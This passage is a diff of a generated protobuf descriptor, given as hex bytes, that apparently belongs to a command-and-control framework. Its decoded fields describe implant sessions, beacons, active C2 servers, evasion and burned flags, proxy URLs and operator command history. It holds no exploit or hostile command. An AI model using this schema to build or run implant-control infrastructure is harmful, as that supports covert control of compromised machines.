0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, - 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x64, - 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, - 0x65, 0x64, 0x41, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x42, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x06, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x05, 0x42, 0x6c, 0x6f, 0x63, 0x6b, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, - 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, - 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xb5, 0x01, 0x0a, 0x0e, 0x48, 0x69, 0x73, 0x74, - 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, - 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, - 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x61, 0x78, 0x4c, 0x69, 0x6e, - 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x08, 0x4d, 0x61, 0x78, 0x4c, 0x69, 0x6e, - 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x18, - 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, - 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, - 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, - 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, - 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, - 0xab, 0x01, 0x0a, 0x07, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1e, 0x0a, 0x0a, 0x48, - 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x65, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, - 0x0a, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x55, - 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, - 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, 0x12, 0x34, 0x0a, 0x08, 0x43, 0x6f, 0x6d, 0x6d, 0x61, - 0x6e, 0x64, 0x73, 0x18, 0x04, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, - 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x6d, - 0x61, 0x6e, 0x64, 0x52, 0x08, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x73, 0x12, 0x2e, 0x0a, - 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, - 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, - 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x93, 0x05, - 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, - 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, - 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, - 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, - 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, - 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, - 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, - 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, - 0x02, 0x4f, 0x53, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, - 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, - 0x68, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, - 0x24, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, - 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, - 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, - 0x28, 0x05, 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, - 0x61, 0x6d, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, - 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, - 0x69, 0x6e, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, - 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, - 0x32, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, - 0x32, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, - 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, - 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, - 0x12, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x2c, 0x0a, - 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, - 0x61, 0x6c, 0x18, 0x13, 0x20, 0x01, 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, - 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x50, + 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x22, 0x2d, 0x0a, 0x05, 0x55, 0x73, 0x65, 0x72, + 0x73, 0x12, 0x24, 0x0a, 0x05, 0x55, 0x73, 0x65, 0x72, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, + 0x32, 0x0e, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x55, 0x73, 0x65, 0x72, + 0x52, 0x05, 0x55, 0x73, 0x65, 0x72, 0x73, 0x22, 0x68, 0x0a, 0x04, 0x55, 0x73, 0x65, 0x72, 0x12, + 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, + 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x4c, + 0x61, 0x73, 0x74, 0x53, 0x65, 0x65, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x4c, + 0x61, 0x73, 0x74, 0x53, 0x65, 0x65, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x07, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x73, 0x22, 0x3b, 0x0a, 0x0d, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x44, 0x61, + 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, + 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0xdf, + 0x01, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, + 0x64, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x73, 0x65, + 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x73, 0x65, 0x72, 0x12, 0x1c, 0x0a, + 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, + 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x14, 0x0a, + 0x05, 0x42, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x42, 0x6c, + 0x6f, 0x63, 0x6b, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x22, 0xb5, 0x01, 0x0a, 0x0e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, 0x12, + 0x1a, 0x0a, 0x08, 0x4d, 0x61, 0x78, 0x4c, 0x69, 0x6e, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x05, 0x52, 0x08, 0x4d, 0x61, 0x78, 0x4c, 0x69, 0x6e, 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, + 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xab, 0x01, 0x0a, 0x07, 0x48, 0x69, 0x73, + 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1e, 0x0a, 0x0a, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, + 0x65, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, + 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, + 0x12, 0x34, 0x0a, 0x08, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x73, 0x18, 0x04, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x08, 0x43, 0x6f, + 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x73, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x93, 0x05, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, + 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x03, 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x08, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, + 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x54, + 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, + 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x10, + 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x50, 0x49, 0x44, + 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x0d, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, + 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, 0x0e, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x12, 0x1a, + 0x0a, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, + 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, + 0x0a, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, + 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, + 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x13, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, + 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, + 0x18, 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, + 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x74, 0x65, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x17, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, + 0x49, 0x44, 0x18, 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, + 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, + 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, + 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x22, 0x82, 0x06, 0x0a, + 0x06, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, + 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, + 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, + 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, + 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44, + 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f, + 0x53, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, + 0x72, 0x63, 0x68, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, + 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, + 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, + 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, + 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, + 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, + 0x18, 0x0e, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, + 0x6b, 0x69, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18, + 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12, + 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 